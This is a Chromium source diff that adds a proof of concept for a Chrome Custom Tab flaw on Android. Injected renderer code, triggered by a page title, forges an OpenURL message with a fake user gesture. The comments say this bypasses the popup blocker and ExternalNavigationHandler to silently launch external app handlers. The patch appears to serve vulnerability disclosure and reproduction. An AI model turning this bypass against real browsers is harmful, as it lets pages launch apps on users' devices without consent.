diff --git a/chrome/browser/android/tab_web_contents_delegate_android.cc b/chrome/browser/android/tab_web_contents_delegate_android.cc index 1258ca1b17112..b3b55c9543e0d 100644 --- a/chrome/browser/android/tab_web_contents_delegate_android.cc +++ b/chrome/browser/android/tab_web_contents_delegate_android.cc @@ -311,6 +311,12 @@ WebContents* TabWebContentsDelegateAndroid::OpenURLFromTab( external_intents::kNavigationCaptureRefactorAndroid)) { if (IsCustomTab() && disposition == WindowOpenDisposition::NEW_BACKGROUND_TAB) { + LOG(ERROR) + << "[POC] VULNERABLE BRANCH HIT: OpenInAppOrChromeFromCct(" + << params.url << ") is_renderer_initiated=" + << params.is_renderer_initiated + << " user_gesture=" << params.user_gesture + << " -- popup blocker and ExternalNavigationHandler bypassed"; if (OpenInAppOrChromeFromCct(params.url)) { // Navigation handled, stop here. Otherwise proceed normally. return nullptr; diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index 017007ee611e3..4977c1ee574b4 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -4082,6 +4082,48 @@ void RenderFrameImpl::RunScriptsAtDocumentElementAvailable() { } void RenderFrameImpl::DidReceiveTitle(const blink::WebString& title) { + // ---- POC injection: simulate compromised renderer ------------------------ + // Trigger: page sets document.title = "POC_CCT_BYPASS:". + // A compromised renderer can send content.mojom.FrameHost::OpenURL with an + // arbitrary external-protocol URL and disposition=NEW_BACKGROUND_TAB. Inside + // a Chrome Custom Tab / Auth Tab / TWA on Android with + // kNavigationCaptureRefactorAndroid enabled, this reaches + // TabWebContentsDelegateAndroid::OpenInAppOrChromeFromCct() BEFORE the popup + // blocker and WITHOUT ExternalNavigationHandler, silently launching the + // default BROWSABLE handler for the URL with no user interaction. + { + static constexpr char kPocPrefix[] = "POC_CCT_BYPASS:"; + std::string t = title.Utf8(); + if (t.rfind(kPocPrefix, 0) == 0) { + GURL target(t.substr(sizeof(kPocPrefix) - 1)); + LOG(ERROR) << "[POC] compromised renderer sending FrameHost::OpenURL" + << " url=" << target + << " disposition=NEW_BACKGROUND_TAB user_gesture=true"; + auto p = blink::mojom::OpenURLParams::New(); + p->url = target; + p->initiator_origin = frame_->GetSecurityOrigin(); + p->actual_navigation_start = base::TimeTicks::Now(); + p->initiator_frame_token = + std::optional(frame_->GetLocalFrameToken()); + p->extra_headers = ""; + p->referrer = blink::mojom::Referrer::New( + GURL(), network::mojom::ReferrerPolicy::kDefault); + p->disposition = WindowOpenDisposition::NEW_BACKGROUND_TAB; + p->should_replace_current_entry = false; + p->user_gesture = true; + p->is_unfenced_top_navigation = false; + p->triggering_event_info = + blink::mojom::TriggeringEventInfo::kNotFromEvent; + p->href_translate = ""; + p->source_location = network::mojom::SourceLocation::New(); + p->download_policy = blink::NavigationDownloadPolicy(); + p->started_by_ad = false; + p->has_rel_opener = false; + GetFrameHost()->OpenURL(std::move(p)); + } + } + // -------------------------------------------------------------------------- + // Ignore all but top level navigations. if (!frame_->Parent() && !title.IsEmpty()) { tracing::TrackNameRecorder::GetInstance()->UpdateProcessLabel(